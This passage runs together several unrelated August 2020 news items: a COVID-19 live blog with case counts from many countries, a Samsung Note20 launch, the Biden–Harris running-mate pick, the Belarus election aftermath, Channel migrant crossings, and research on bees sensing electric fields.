confirmed coronavirus cases in the last week, an increase of 1,448 from the previous week. The institute says the confirmed COVID-19 deaths rose by nine to 6,159. The true number of deaths is likely higher because not all people who died of suspected COVID-19 were tested. The increases come despite local initiatives aimed at reining in infections, which have been climbing since the Dutch government relaxed lockdown measures on July 1. The countrys two most populous cities Amsterdam and Rotterdam last week made masks mandatory on busy streets and at markets. The percentage of people who tested positive also is rising, from 2.3% in the previous week to 3.6% in the last seven days. 10:18 a.m. New Zealand Prime Minister Jacinda Ardern says that authorities have found four cases of the coronavirus in one Auckland household from an unknown source, the first cases of local transmission in the country in 102 days. Ardern said Auckland, the nations largest city, will be moved to Alert Level 3 from midday Wednesday, meaning that people will be asked to stay at home and bars and many other businesses will be closed. She said the rest of the country will be raised to Alert Level 2. Director-General of Health Ashley Bloomfield said the infections were confirmed after a person in their 50s went to their doctor on Monday with symptoms and was swabbed twice, testing positive both times. Six other people in the persons household were then tested, with three more positive results. 10:18 a.m. The number of new community infections reported in China fell to just 13 on Tuesday, while the semi-autonomous city of Hong Kong saw a further decline to 69 new cases. The mainland also saw 31 new cases brought by Chinese travellers from abroad arriving at eight different provinces and cities. China requires testing and a two-week quarantine of all new arrivals and has barred most foreigners from entering the country. All new locally transmitted cases were in the northwestern region of Xinjiang, whose main city, Urumqi, has been at the centre of the countrys latest major outbreak. China has reported a total of 4,634 deaths from COVID-19 among 84,712 cases. Hong Kong has been bringing numbers of new cases down since its latest outbreak last month, partly by mandating mask wearing in public settings and stepping-up social distancing restrictions. The territory has reported 4,148 cases and 55 deaths. 10:18 a.m. P&O Cruises, the U.K.s largest cruise line, has pushed back the restart of its operations by a month until November. It said this was due to the British governments decision to advise people to avoid cruises as a result of the coronavirus pandemic. Sailings, which had been due to resume on Oct. 15, have been cancelled until Nov. 12. Two trips with longer itineraries due to begin in January Auroras Caribbean and South America Adventure and Arcadias World Cruise have also been suspended. The industry faces a particularly uncertain future after many passengers tested positive for the virus in the early days of the pandemic in February and March. 10:18 a.m. Travellers from so-called risk countries will be tested upon arrival in Finland after a large group of people arriving on a plane from North Macedonia over the weekend tested positive for the coronavirus. Krista Kiuru, Finlands minister for Family Affairs and Social Services, said late Monday the Nordic country will introduce the mandatory testing as soon as possible. Whether they will carry out random sampling or test everyone who comes across borders, is still unclear she said. Mika Salminen of Finlands National Institute for Health and Welfare said a large part of the worlds countries are considered risk countries. Tests will be made on anyone arriving from a country with more than 8 to 10 new COVID-19 cases per 100,000 inhabitants in the past 14 days. On Saturday, a plane from Skopje, North Macedonia, with 157 passengers landed in Turku, western Finland, and 24 turned out positive during voluntary tests, authorities said. Salminen said that on the whole the situation is relatively calm in Finland. The Nordic country has seen a total of 7,601 cases and 333 deaths. 10:18 a.m. Pakistans planning minister is warning his countrymen that their victory against the coronavirus could be reversed if they stop adhering to social distancing rules. Asad Umar praised people on Tuesday for co-operating with the government since March, when a nationwide lockdown was enforced amid increasing COVID-19 deaths and infections. His warning comes a day after Pakistan eased almost all restrictions on businesses. Schools have still not been reopened. It also comes a day after the incoming president of the United Nations General Assembly, Volkan Bozkir, during a visit to Islamabad praised Pakistan for quickly containing the coronavirus, saying the South Asian nations handling of the pandemic is an example for others. Pakistan reported its first confirmed case in February and witnessed a peak in deaths and infections in June. Since then, it has experienced a steady decline in fatalities. On Tuesday it reported 15 fatalities from the coronavirus in the past 24 hours, raising its total COVID-19-related fatalities to 6,112. 10:18 a.m. Indonesia has started the third phase of clinical trials for a COVID-19 vaccine in Bandung, West Java. State-owned company Bio Farma is running the trial in partnership with Chinese coronavirus vaccine developer Sinovac Biotech. Twenty volunteers were injected Tuesday at Padjadjaran Universitys Medical Faculty, with President Joko Widodo attending. The first and second clinical phases were conducted earlier in China. We hope that this third clinical trial will be completed in six months. Hopefully we can produce in January, and if production is ready, vaccinate all people in the country, Widodo said. A total of 120 volunteers will participate in the initial trial group. The next will be held in the third week and fourth week of this month and involve 144 volunteers. In early September, 408 more volunteers will receive vaccine tests. The injection and monitoring of the trial participants will be conducted until the third week of December. On Tuesday, Indonesia announced 1,693 new COVID-19 cases, bringing its confirmed total to 128,776. The National Task Force for COVID-19 Mitigation reported that 59 people died in the last 24 hours, taking the death toll to 5,824. 10:18 a.m. India reported 53,601 new coronavirus cases on Tuesday as its total confirmed infections near 2.3 million. The Health Ministry said fatalities reached 45,257 on Tuesday after 871 new deaths were recorded. India has been posting an average of around 50,000 new cases a day since mid-June. The Indian Council of Medical Research, Indias top medical research body, said about 25 million tests for the virus have been conducted in the country. Health experts say the country needs to test more people given its high population. A country of 1.4 billion people, India has been conducting a little less than 18,000 tests per million population. India has the third-highest caseload in the world after the United States and Brazil. It has the fifth-most deaths but its fatality rate of about 2% is far lower than the top two hardest-hit countries. 9:55 a.m. Two federal cabinet ministers and the countrys top public servant will be grilled today about how a charity with close ties to Prime Minister Justin Trudeau wound up administering a $912-million student grant program. The House of Commons ethics committee is scheduled to hear from Youth Minister Bardish Chagger, Employment Minister Carla Qualtrough and Ian Shugart, clerk of the Privy Council. The committee is ostensibly conducting a review of the existing safeguards in place to prevent conflicts of interest when the federal government is deciding how to spend taxpayers dollars. But opposition MPs are sure to focus more pointedly on the governments agreement with WE Charity to administer the grant program, which had been intended to encourage students to engage in summer volunteer work related to the COVID-19 pandemic. Chagger was the minister responsible for the program, which has now been abandoned after becoming mired in controversy. Qualtrough is in charge of the department whose public servants concluded they were not capable of delivering the program and who, according to the government, recommended that WE Charity was the only group capable of delivering it. Trudeau and Finance Minister Bill Morneau, who also has close family ties to WE Charity, are both under investigation by the federal ethics commissioner. Both have apologized for failing to recuse themselves when cabinet approved the recommended agreement with the charity. 9:30 a.m. Russia on Tuesday became the first country to approve a coronavirus vaccine for use in tens of thousands of its citizens despite international skepticism about injections that have not completed clinical trials and were studied in only dozens of people for less than two months. President Vladimir Putin said while announcing the approval that one of his two adult daughters already was inoculated. He said the vaccine underwent the necessary tests and was shown to provide lasting immunity to the coronavirus, although Russian authorities have offered no proof to back up the claim of its safety or effectiveness. I know it has proven efficient and forms a stable immunity, he said. We must be grateful to those who made that first step very important for our country and the entire world. However, scientists in Russia and other countries sounded an alarm, saying that rushing to offer the vaccine before Phase 3 trials which normally last for months and involve tens of thousands of people could backfire. Fast-tracked approval will not make Russia the leader in the (vaccine) race, it will just expose consumers of the vaccine to unnecessary danger, Russias Association of Clinical Trials Organizations said Monday, urging government officials to postpone clearing the vaccine without completed advanced trials. 9 a.m. Another lawsuit has been filed against a long-term-care home operator in Mississauga. The negligence and wrongful death lawsuit was filed by Viet Do and seeks $20 million from Schlegel Villages, alleging that the company failed to keep residents and staff safe at its Erin Mills Lodge facility during the COVID-19 pandemic. Dos father, Minh Do, 88, lived at Erin Mills Lodge from 2014 until his death on April 24, 2020, according to the lawsuits statement of claim. His family was notified that Minh Do developed COVID-19 symptoms on April 23, the claim said. The claim, which has not been proven in court, alleges that Schlegel didnt comply with directives issued by the province and health authorities, including not isolating individuals with COVID-19 from noninfected people and failing to provide staff with proper personal protective equipment in a timely manner. When provided, Erin Mills Lodge directed staff to repeatedly use the same personal protective equipment despite contamination, the claim alleges. 8 a.m. The Blue Jays will play their first game at Buffalo, N.Y., Tuesday night when they open a two-game series against the Miami Marlins at Sahlen Field. The Blue Jays were baseball nomads to start the season after the federal government denied them permission to play games at Torontos Rogers Centre due to concerns over players travelling in and out of the country from American states ravaged by the COVID-19 pandemic. After stadium-sharing deals with the Pittsburgh Pirates and Baltimore Orioles didnt come to fruition, the Blue Jays settled on Sahlen Field as a temporary home base for the shortened 2020 season. But the home of Torontos triple-A affiliate, the Buffalo Bisons, needed some upgrades before being ready for the big leagues, meaning the Blue Jays had to play their scheduled home games in their oppositions ballpark until today. Toronto enters its home opener with a 5-8 record. 7:19 a.m. The City of Vaughan told York Region Media that it temporarily laid off about 1,100 employees due to shortage of work in some departments after declaring a state of emergency due to COVID-19. After these extraordinary circumstances, the City said the decision was difficult but necessary. The COVID-19 pandemic and declared State of Emergency in Vaughan and the Province of Ontario have impacted City services in a number of unexpected ways, including the temporary closure of City facilities to the public and the cancellation of some programs, it said. While the City continues to conduct essential services including fire and emergency response, waste collection, water/wastewater services, to bylaw and enforcement services, it says, As this situation evolves, it will be necessary for the City to continue assessing the operational and financial impacts of these unprecedented times. 7:16 a.m. Three separate employees at a Mississauga Longos grocery store have tested positive for COVID-19, according to the Longos store tracker. Management at Longos became aware that three employees at their Ponytrail location, on Rathburn Road, had tested positive on Aug. 8. The employees last days of work were Aug. 4, 5 and 6. Each store undergoes a deep cleaning and sanitization once a Longos employee contracts the disease. All employees who may have been in contact with the sick workers have been instructed to stay home and monitor their health for any symptoms. Longos claims they pay each employee in full during this time. Their tracker states that it is not necessary for shoppers who recently visited the Ponytrail location to self-isolate, taking advice from public health officials. 5:46 a.m. New Zealand Prime Minister Jacinda Ardern said Tuesday that authorities have found four cases of the coronavirus in one Auckland household from an unknown source, the first cases of local transmission in the country in 102 days. Ardern said Auckland, the nations largest city, will be moved to Level 3 from midday Wednesday, meaning that people will be asked to stay at home and bars and many other businesses will be closed. She said the rest of the country will be raised to Level 2. 3:06 a.m. The number of coronavirus cases topped 20 million on Tuesday, more than half of them from the U.S., India and Brazil. Health officials believe the actual number is much higher than that tally kept by Johns Hopkins University, given testing limitations and the fact that as many as 40 per cent of those who are infected have no symptoms. It took six months or so to get to 10 million cases after the virus first appeared in central China late last year. It took just over six weeks for that number to double. An AP analysis of data through Aug. 9 showed the U.S., India and Brazil together accounted for nearly two-thirds of all reported infections since the world hit 15 million coronavirus cases on July 22. Tuesday 3:02 a.m. India reported 53,601 new cases of coronavirus Tuesday as its total infections neared 2.3 million. The Health Ministry also said 871 deaths were newly reported, raising total fatalities to 45,257. India has been posting an average of around 50,000 new cases a day since mid-June. Its total infections are third in the world, behind the United States and Brazil. The three countries account for half of the worlds 20 million cases. The true numbers around the world are thought to be much higher because of factors including low testing and the possibility the virus can be spread by people who dont have symptoms. Monday 6:15 p.m. Only two theatres, two drive-ins and an open-air cinema will physically show movies during the Toronto International Film Festival. The festival announced the limited venues on Monday, which include the TIFF Bell Lightbox, the Isabel Bader Theatre, the Visa Skyline Drive-In at CityView, the RBC Lakeside Drive-In at Ontario Place and the West Island Open Air Cinema at Ontario Place. TIFF says most festival selections this year will be screened online via its Bell Digital Cinema. In keeping with physical distancing measures required due to the COVID-19 pandemic, there will be reduced capacity at the Lightbox cinemas, the Isabel Bader and the outdoor screens. But TIFF says even the online screenings will have limits. The digital screenings are geoblocked to Canada and will be viewable on home TV screens using Chromecast or a new TIFF app, which will be available in the Apple App Store on Sept. 9. Digital movies will be watermarked, either forensically or visibly, to prevent piracy, the festival says. 5:54 p.m. As of 5 p.m. Monday, Ontarios regional health units are reporting a total of 42,224 confirmed or probable cases of COVID-19, including 2,824 deaths, according to the Stars latest count. The province-wide increase in the last 24 hours, up 133 reported infections, was the largest single-day count since late July. Daily cases reports have been falling steadily since the province saw a brief spike late last month, and had been at its lowest rate of new infections since before the pandemic first peaked in Ontario in the spring. That rate jumped slightly Monday, up to an average of 95 cases per day over the last seven days still well down from a mid-April peak of nearly 600 daily. The day saw double digit-case counts in Ottawa, with 20 new cases, Toronto (18 cases), Peel Region, Windsor-Essex and Chatham-Kent (all at 11 cases) and in Hamilton (10 cases). Several of Ontarios health units do not report case data on weekends, which means Mondays can often see higher than normal case counts. Meanwhile, the province once again reported no new fatal cases Monday. The vast majority of the provinces COVID-19 patients have recovered; the province lists fewer than 4,000 active cases of the disease. The Stars count includes some patients reported as probable COVID-19 cases, meaning they have symptoms and contacts or travel history that indicate they very likely have the disease, but have not yet received a positive lab test. The province cautions its separate data, published daily at 10:30 a.m., may be incomplete or out of date due to delays in the reporting system, saying that in the event of a discrepancy, data reported by (the health units) should be considered the most up to date. Monday: Toronto is more than two weeks into Stage 3, and an ongoing low trend in daily COVID-19 numbers seems to have held steady. Across Ontario, new reports of the novel coronavirus have slowed, meaning the embattled Windsor-Essex region can finally join the rest of the province in Stage 3. The province might be experiencing a basement in cases, one epidemiologist said, meaning that while we might not drive cases any lower than this, we can likely expect an uptick in the fall. The Star asked two infectious disease experts Anna Banerji from the Dalla Lana School of Public Health and Raywat Deonandan of the University of Ottawa to weigh in on the data the Star has collected on the state of the COVID-19 crisis in Ontario. Read more from reporter Jenna Moon here. Read more of Mondays coverage here. Read more about: New Delhi, Aug 11 : Samsung on Tuesday said that the pre-booking notifications for its 'Make in India Galaxy Note20 smartphone crossed more than 5 Lakh this year, which is more than double the figure the company achieved last year with Galaxy Note10. The South Korean major last week opened pre-booking for its Galaxy Note20 series in India, The 6.7-inch Galaxy Note20 (8GB+256GB) was launched at the original price of Rs 77,999 while the 6.9-inch Galaxy Note20 Ultra 5G (12GB+256GB) is available for Rs 104,999 in the country. "We are very excited as the latest series has received an overall good response from the audience and the pre-booking notifications of the devices were double than that of Galaxy Note10 last year," Aditya Babbar, Director, Mobile Business, Samsung India, told IANS. Samsung on Monday unveiled a mystic blue colour edition of the newly-launched Galaxy Note20 in India. The smartphone that comes in mystic bronze, mystic green and now mystic blue will be available for Rs 64,999 with exciting voucher and credit/debit card offers. "The new Note 20 series is made for millennials. It is for someone who is 'life maximizer' and uses a wide range of apps and does most of the tasks on the smartphone rather than on PC," Babbar said. Customers pre-booking Galaxy Note20 will be eligible for benefits worth Rs 7,000 that can be redeemed on Samsung Shop app on a set of products, including Galaxy Buds+, Galaxy Buds Live, Galaxy Watches and Galaxy Tabs, among others. In addition, when paying with HDFC Bank Credit and Debit Cards, consumers will be eligible for cashback up to Rs 6000 on purchase of Galaxy Note20. With bank cashback and Samsung Shop benefits, the Galaxy Note20 Ultra 5G will cost Rs 85,999 in the country. According to Babbar, there are five major qualities of Galaxy Note20 that makes it stand out in the crowd. "The 120Hz refresh rate, AMOLED display, amazing camera, work like a computer, powerful battery, S Pen and 8K video support are the 5 major features in Galaxy Note20," he said. With the S Pen, one can use it as a remote control. The powerful battery will help you stay connected for a long time. "We are also giving Microsoft subscription for one year at a subsidised rate in India along with YouTube Premium for four months to make our users remain connected," Babbar added. The smartphone features a 6.7-inch full-HD+ (1,080x2,400 pixels) Infinity-O Super AMOLED+ flat display with 60Hz refresh rate and 20:9 aspect ratio. Under the hood, there is an octa-core Exynos 990 or Qualcomm Snapdragon 865+ SoC -- depending on the market. The phone also has 8GB RAM and comes with up to 256GB of onboard storage that isn't expandable via micro-SD card. -- The story has been published from a wire feed without any modifications to the text Source: Xinhua| 2020-08-11 19:29:12|Editor: huaxia Video Player Close BEIJING, Aug. 11 (Xinhua) -- Exit and entry departments of China's public security organs will gradually resume the handling of Chinese mainland residents' tourist endorsements for individual or group tours to Macao, the National Immigration Administration (NIA) said on Tuesday. According to a notice released by the NIA, residents of Zhuhai in south China's Guangdong Province will be able to have their tourist endorsements handled from Wednesday. The resumption is expected to be expanded across Guangdong Province from Aug. 26, and across the country from Sept. 23, if the COVID-19 prevention and control situation stays stable in both the Chinese mainland and Macao. However, applications for papers or endorsements for tours to Macao by residents in medium- or high-risk zones for COVID-19, or residents who travel to such zones within 14 days before applying, will not be accepted, the notice said. It asked applicants to hand in their applications via online bookings to service windows for exits and entries at public security organs, and plan their tours reasonably. Enditem STATEN ISLAND, N.Y. -- A Staten Island man charged in connection with an alleged black market marijuana grow house in rural Massachusetts posted $10,000 cash bail Monday, after a judge significantly reduced the initial $100,000 bail set at his arraignment. At the time both he and the man who allegedly purchased the home were arrested, state and federal investigators were searching for two other men who are known to authorities. Yebin Mai, 28, whose home address is listed by authorities as Vassar Street in New Springville, was ordered to hand over his passport and remain in Massachusetts until his next court date as part of his release, according to the clerk magistrate for North Adams District Court. A second defendant -- Bin Huang, 32, of Brooklyn -- bought the house in question for $200,000 cash in 2017, authorities said. He also was released after posting $5,000 bail, ordered to hand over his passport and remain in Massachusetts. Both men are due back in court Sept. 18, each facing a charge of marijuana trafficking. The other two men sought by police were spotted riding in a pickup truck driven by Mai, on the day the Staten Islander first encountered authorities outside the grow house, according to a statement posted over the weekend by the Massachusetts State Police. When workers with an electric company responded in late July to a report of a fire hazard at the house, Mai attempted to hand a lineman an envelop stuffed with $100 bills in attempt to shoo them away, police said. A search warrant obtained days later revealed the inner workings of a full-scale, black market operation, authorities said. Recreational marijuana is legal to grow and possess in personal amounts in Massachusetts, and to sell at dispensaries, but only by state-licensed companies held to a standard of safety regulations, and taxed accordingly. 2ND BUST IN DAYS The bust in Savoy, Mass. -- located in the Berkshires -- was one of two in the area just days apart, MassLive reported. Federal Drug Enforcement Administration arrested two Chinese nationals at a warehouse in Monson, where they allegedly found 1,100 marijuana plants plus 3,000 more at four residential properties in that town and neighboring Palmer. One of the men arrested in the Monson bust, who is in his 40s, told agents he traveled to the area from Chicago for the sole purpose of growing marijuana. His attorney referred to his client as a dupe, and a low-level player in a larger-scale marijuana trafficking ring. WILMINGTON, Del. - Joe Biden named California Sen. Kamala Harris as his running mate, making history by selecting the first Black woman to compete on a major partys presidential ticket and acknowledging the vital role Black voters will play in his bid to defeat President Donald Trump. In choosing Harris, Biden embraced a former rival from the Democratic primary who is familiar with the unique rigour of a national campaign. The 55-year-old first-term senator, who is also of South Asian descent, is one of the partys most prominent figures. She quickly became a top contender for the No. 2 spot after her own White House campaign ended. She will appear with Biden for the first time as his running mate at an event Wednesday near his home in Wilmington, Delaware. In announcing the pick Tuesday, Biden called Harris a fearless fighter for the little guy, and one of the countrys finest public servants. She said Biden would unify the American people and build an America that lives up to our ideals. Harris joins Biden at a moment of unprecedented national crisis. The coronavirus pandemic has claimed the lives of more than 160,000 people in the U.S., far more than the toll experienced in other countries. Business closures and disruptions resulting from the pandemic have caused severe economic problems. Unrest, meanwhile, has emerged across the country as Americans protest racism and police brutality. Trumps uneven handling of the crises has given Biden an opening, and he enters the fall campaign in strong position against the president. In adding Harris to the ticket, he can point to her relatively centrist record on issues such as health care and her background in law enforcement in the nations largest state. The president told reporters Tuesday he was a little surprised that Biden picked Harris, pointing to their debate stage disputes during the primary. Trump, who had donated to her previous campaigns, argued she was about the most liberal person in the U.S. Senate. I would have thought that Biden would have tried to stay away from that a little bit, he said. Harriss record as California attorney general and district attorney in San Francisco was heavily scrutinized during the Democratic primary and turned away some liberals and younger Black voters who saw her as out of step on issues of racism in the legal system and police brutality. She declared herself a progressive prosecutor who backs law enforcement reforms. Biden, who spent eight years as President Barack Obamas vice-president, has spent months weighing who would fill that same role in his White House. He pledged in March to select a woman as his vice-president, easing frustration among Democrats that the presidential race would centre on two white men in their 70s. Bidens search was expansive, including Massachusetts Sen. Elizabeth Warren, a leading progressive; Florida Rep. Val Demings, whose impeachment criticism of Trump won party plaudits; California Rep. Karen Bass, who leads the Congressional Black Caucus; former Obama national security adviser Susan Rice; and Atlanta Mayor Keisha Lance Bottoms, whose passionate response to unrest in her city garnered national attention. A woman has never served as president or vice-president in the United States. Hillary Clinton was the Democratic presidential nominee in 2016. Two women have been nominated as running mates on major party tickets: Democrat Geraldine Ferraro in 1984 and Republican Sarah Palin in 2008. Their parties lost in the general election. The vice-presidential pick carries increased significance this year. If elected, Biden would be 78 when inaugurated in January, the oldest man to ever assume the presidency. Hes spoken of himself as a transitional figure and hasnt fully committed to seeking a second term in 2024. Harris, born in 1964 to a Jamaican father and Indian mother, spent much of her formative years in Berkeley, California. She has often spoken of the deep bond she shared with her mother, whom she has called her single biggest influence. Harris won her first election in 2003 when she became San Franciscos district attorney. In that post, she created a reentry program for low-level drug offenders and cracked down on student truancy. She was elected Californias attorney general in 2010, the first woman and Black person to hold the job, and focused on issues including the foreclosure crisis. She declined to defend the states Proposition 8, which banned same-sex marriage and was later overturned by the U.S. Supreme Court. After being elected to the Senate in 2016, she quickly gained attention for her assertive questioning of Trump administration officials during congressional hearings. Harris launched her presidential campaign in early 2019 with the slogan Kamala Harris For the People, a reference to her courtroom work. She was one of the highest-profile contenders in a crowded Democratic primary and attracted 20,000 people to her first campaign rally in Oakland. But the early promise of her campaign eventually faded. Her law enforcement background prompted skepticism from some progressives, and she struggled to land on a consistent message that resonated with voters. Facing fundraising problems, she abruptly withdrew from the race in December 2019, two months before the first votes of the primary were cast. One standout moment of her presidential campaign came at the expense of Biden. During a debate, she said Biden made very hurtful comments about his past work with segregationist senators and slammed his opposition to busing as schools began to integrate in the 1970s. There was a little girl in California who was a part of the second class to integrate her public schools, and she was bused to school every day, she said. And that little girl was me. Shaken by the attack, Biden called her comments a mischaracterization of my position. The exchange resurfaced recently with a report that one of Bidens closest friends and a co-chair of his vice-presidential vetting committee, former Connecticut Sen. Chris Dodd, still harbours concerns about the debate and that Harris hadnt expressed regret. The comments attributed to Dodd and first reported by Politico drew condemnation, especially from influential Democratic women who said Harris was being held to a standard that wouldnt apply to a man running for president. Some Biden confidants said Harris debate attack did irritate the former vice-president, who had a friendly relationship with her. Harris was also close with Bidens late son, Beau, who served as Delaware attorney general while she held the same post in California. But Biden and Harris have since returned to a warm relationship. Joe has empathy, he has a proven track record of leadership and more than ever before we need a president of the United States who understands who the people are, sees them where they are, and has a genuine desire to help and knows how to fight to get us where we need to be, Harris said at an event for Biden earlier this summer. At the same event, she bluntly assailed Trump, labeling him a drug pusher for his promotion of the unproven and much-questioned malaria drug hydroxychloroquine as a treatment for the coronavirus. After Trump tweeted when the looting starts, the shooting starts in response to protests about the death of George Floyd, a Black man in police custody, Harris said his remarks yet again show what racism looks like. Harris has taken a tougher stand on policing since Floyds killing. She co-sponsored legislation in June that would ban police from using chokeholds and no-knock warrants, set a national use-of-force standard and create a national police misconduct registry, among other things. It would also reform the qualified immunity system that shields officers from liability. The list in the legislation included practices Harris did not vocally fight to reform while leading Californias Department of Justice. And while she now wants independent investigations of police shootings, she didnt support a 2015 California bill that would have required her office to take on such cases. We made progress, but clearly we are not at the place yet as a country where we need to be and California is no exception, she told The Associated Press recently. The national focus on racial injustice now, she said, shows theres no reason that we have to continue to wait. ___ Ronayne reported from Sacramento, California. Associated Press writers Alexandra Jaffe, Jill Colvin and Julie Pace contributed from Washington. New Delhi: External Affairs Minister Sushma Swaraj successfully underwent a kidney transplant at AIIMS here on Saturday and her condition is stable. Swaraj, 64, was shifted to the Intensive Care Unit after the nearly six-hour-long surgery by a team of 50. AIIMS sources said the kidney for Swaraj was donated by a woman who is in her 40s and not related to the External Affairs Minister. A team of senior doctors has been monitoring the ministers condition round-the-clock. The surgery was successful and uneventful. She is admitted in the ICU and her condition is stable. Her condition is being closely monitored by a team of doctors. The donor voluntarily donated her kidney to the Minister, AIIMS Director M C Mishra said when contacted. As no suitable donor was available in the immediate family, the transplant was done with the kidney from a living unrelated donor, sources said, adding the clearance for it was obtained from the Authorisation Committee of AIIMS. Mishra said the surgery was carried out at the cardio-thoracic centre by a team of 50 personnel including transplant surgeons, transplant anesthesiologists, nurses, technicians and other supporting staff. The team comprised Mishra, surgeons V K Bansal and V Seenu, nephrologist Sandeep Mahajan and Cardio Thoracic and Vascular Surgery (CTVS) chief Dr Balram Airan among others. The surgery started at around 9 AM and ended at 2.30 PM following which the minister has been shifted to the ICU. First, the organ was harvested from the donor which took one-and-half hours and then it was transplanted, Mishra said. Living, unrelated donor could be anyone who is emotionally attached to the recipient, such as a friend, a relative, a neighbour or an in-law. A large number of people including Pakistan High Commissioner Abdul Basit wished Swaraj speedy recovery. We wish MEA Sushma Swaraj Sahiba speedy and full recovery, he tweeted. Swaraj has been suffering from diabetes for quite sometime and after it was found that she had renal failure, she was put on maintenance dialysis. On November 16, Swaraj herself had tweeted that she was in AIIMS because of kidney failure. Swaraj, who has been in and out of the hospital for last few months, was admitted to AIIMS on November 7. After Swaraj made public her health condition on social media, several people offered their kidneys to her. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. She is in Lithuania now. Presidential candidate Svetlana Tikhanovskaya, the runner-up in the presidential elections in Belarus, has fled the country. "Svetlana Tikhanovskaya is safe. She is in Lithuania," Lithuanian Foreign Minister Linas Linkevicius said on Twitter on August 11. Tikhanovskaya earlier said she would not join in the protests that had erupted in her country after the announcement of presidential election results. Incumbent President Alexander Lukashenko won 80% of the vote. Read alsoReuters: Opposition in Belarus says Lukashenko's re-election win is illegitimate According to Tikhanovskaya's press secretary, Lukashenko's main rival would not want to be next to her husband, Sergei Tikhanovsky, in a pretrial detention center. Video blogger Tikhanovsky was one of Lukashenko's major rivals during the presidential campaign. After he had been jailed, his wife replaced him. Tikhanovskaya refused to accept the results of the vote, saying she was the real winner. She called on Lukashenko to start negotiations. People smugglers are offering migrants 'kids go free deals' while dropping their prices for small-boat Channel crossings. Desperate parents are being told they don't have to pay to carry babies and toddlers as the ruthless smugglers lure them into completing the perilous crossings. In some cases, the gangs have even dropped their prices from 5,000 to 500 in an attempt to encourage more families to cross to Britain from Calais. It comes as more migrants arrived in Dover this morning, with at least four boats spotted, numbering more than 30 people in total. At least 13 Sudanese migrants are thought to have been in one boat, though this hasn't yet been confirmed. So far this year, 4,301 migrants have reached the UK in small boats. That includes 751 this month alone - rapidly approaching the record 1,118 who arrived in July. Migrants arrive in Dover this morning, the latest group to make the perilous crossing from Calais to the UK It is unclear how many arrived in Dover this morning, following days of UK government anger at the numbers crossings Migrants give a thumbs up as they arrive in Dover this morning amid reports of another four boats making the crossing Migrants, including women, are brought into Dover harbour by the Border Patrol this morning News of the cut price deals is sure to raise alarms as the British government pledges to tackle the crossings. A law enforcement official commented on the 'special offers', adding that the smugglers will do anything to 'make their profit from misery'. British officials have also been briefed on intelligence showing how the gangs are cutting their prices. A charity worker in northern France told The Sun: 'We've spoken to people intercepted en route to the UK who have told us how babies and infants are getting into dinghies for free. Younger children and teenagers are being allowed on for just a few hundred pounds a time.' A source added: 'The prices these gangmasters charge has dropped a hell of a lot recently. 'They are also tempting people by saying if you get stopped you can try again and again until you do cross.' The latest revelations also highlight the horrifying lengths migrants are going to in an attempt to avoid deportation. A source said that some are arriving with burnt or shaved off fingerprints, while carrying no ID, which make it impossible to determine who they are or where they come from. It comes amid a crackdown on the migrant crossings from the British government. A group of migrants crossing the Channel in a small boat headed in the direction of Dover yesterday A tiny baby was spotted arriving in Dover with its family last week after crossing the Channel in a dinghy - carried in what appears to be a gym bag A Border Force official brings a child to land after vessels crossed from Calais to the UK yesterday Priti Patel will today demand French co-operation in a massive new 'blockade' of the Channel to crack down on the migrant crisis. The Home Secretary will refuse to hand over any more taxpayers' money to fund operations on French soil unless Emmanuel Macron's government steps up action on illegal crossings. The French will also be expected to accept deportations of larger numbers of migrants who cross illegally, as well as failed asylum seekers, as part of a potential 30million deal. Boris Johnson branded the Channel crossings a 'very bad and stupid and dangerous and criminal thing to do' as he hinted at changing laws to tackle the deepening crisis. The PM said the UK needed to 'look at the legal framework' for migrants who have arrived in the UK illegally, adding it was 'very, very difficult to then send them away again.' In proposals being outlined at a summit in Paris with Home Office minister Chris Philp this morning, it is understood the UK will set out how it hopes migrant boats can be barred from crossing the strait. Home Secretary Priti Patel headed to Dover yesterday, and was seen disembarking from a police boat that had been out in the Channel earlier that morning Royal Navy vessels and Border Force patrol boats will be used to block their path, even deploying nets to entangle propellers and floating booms, it is understood. French patrol boats, which currently escort migrant boats across the Channel, will be expected to take part in the operation to return the small ships to French beaches, officials said. In a further demand, more migrants who reach British shores should be sent straight back to France. However, it is understood the proposed deal will not set a target for the number of deportations. The UK will also urge the French to fingerprint migrants in the Calais camps. Migrants biometrics will then be uploaded to an existing EU database, known as EURODAC, so that anyone who later claims asylum in the UK can be returned under EU rules. In the last five years the UK has given France 114million to fund operations against illegal migrants and people traffickers. But numbers are spiralling, with more than 4,300 arriving so far this year compared to 1,850 in all of 2019. Yesterday British military assets were deployed for the first time to tackle the flow of small boats, with an RAF aircraft carrying out a surveillance flight. Miss Patel also boarded a police launch from Dover to witness operations. The number of illegal small boat crossings we have seen recently is totally unacceptable, she said. Our operational partners are dealing with complex challenges associated with them and collectively with the French we need to make this route unviable. Across Government we are absolutely committed to shutting down this route and we will bring down the criminal gangs that facilitate these illegal crossings. Fine hairs on bees' bodies can sense tiny changes in electrostatic fields, enabling them to sense whether another bee has visited a flower before them. Credit: Unsplash/George Hiles, licenced under Unsplash licence Flying insects such as bees and moths have secret senses that allow them to 'feel' nearby flowers and navigate over long distances, according to new research. Armed with sensitive antennae and wide-angled compound eyes, bees have a sophisticated set of senses to help them search out pollen and nectar as they buzz from flower to flower. But new research is revealing that bumblebees may employ another hidden sense that lets them detect when a flower was last visited by another insect. Professor Daniel Robert, an expert in animal behaviour and senses at the University of Bristol, UK, has discovered that bumblebees have the ability to sense weak electrostatic fields that form as they fly close to a flower. "A bee has a capacity, even without landing, to know whether a flower has been visited in the past minutes or seconds, by measuring the electric field surrounding the flower," Prof. Robert explained. The discovery is one of the first examples of electroreception in air. This sense has long been known in fish such as sharks and rays, which can detect the weak electrical fields produced by other fish in the water. Water-dwelling mammals such as platypus and dolphins have also been found to use electric fields to help them hunt for prey. But rather than hunting for fish, bees appear to use their ability to sense electrical fields to help them find flowers that are likely to be rich in pollen and nectar. Charge Bees develop an electrostatic charge because as they fly they lose electrons due to the air rubbing against their bodies, leading to a small positive electric charge. The effect is a bit like rubbing a party balloon against your hair or jumper, except the charge the bees accumulate is around 10,000 times weaker. Bees develop a positive electric charge as they fly, which helps them to collect pollen from negatively charged flowers. Credit: Pxfuel.com/DMCA Flowers, by comparison, are connected to the ground, a rich source of electrons, and they tend to be negatively charged. These electrostatic charges are thought to help bees collect pollen more easily. Negatively charged pollen sticks to the positively charged bee because opposite charges attract. Once the pollen sticks to the bee, it too becomes more positively charged during flight, making it more likely to stick to the negatively charged female part of a flower, known as a stigma. But Prof. Robert and his colleagues wondered whether there could be more to this interaction. When they put an electrode in a flower, they detected a current flowing through the plant whenever a bumblebee approached in the air. Their study revealed that the 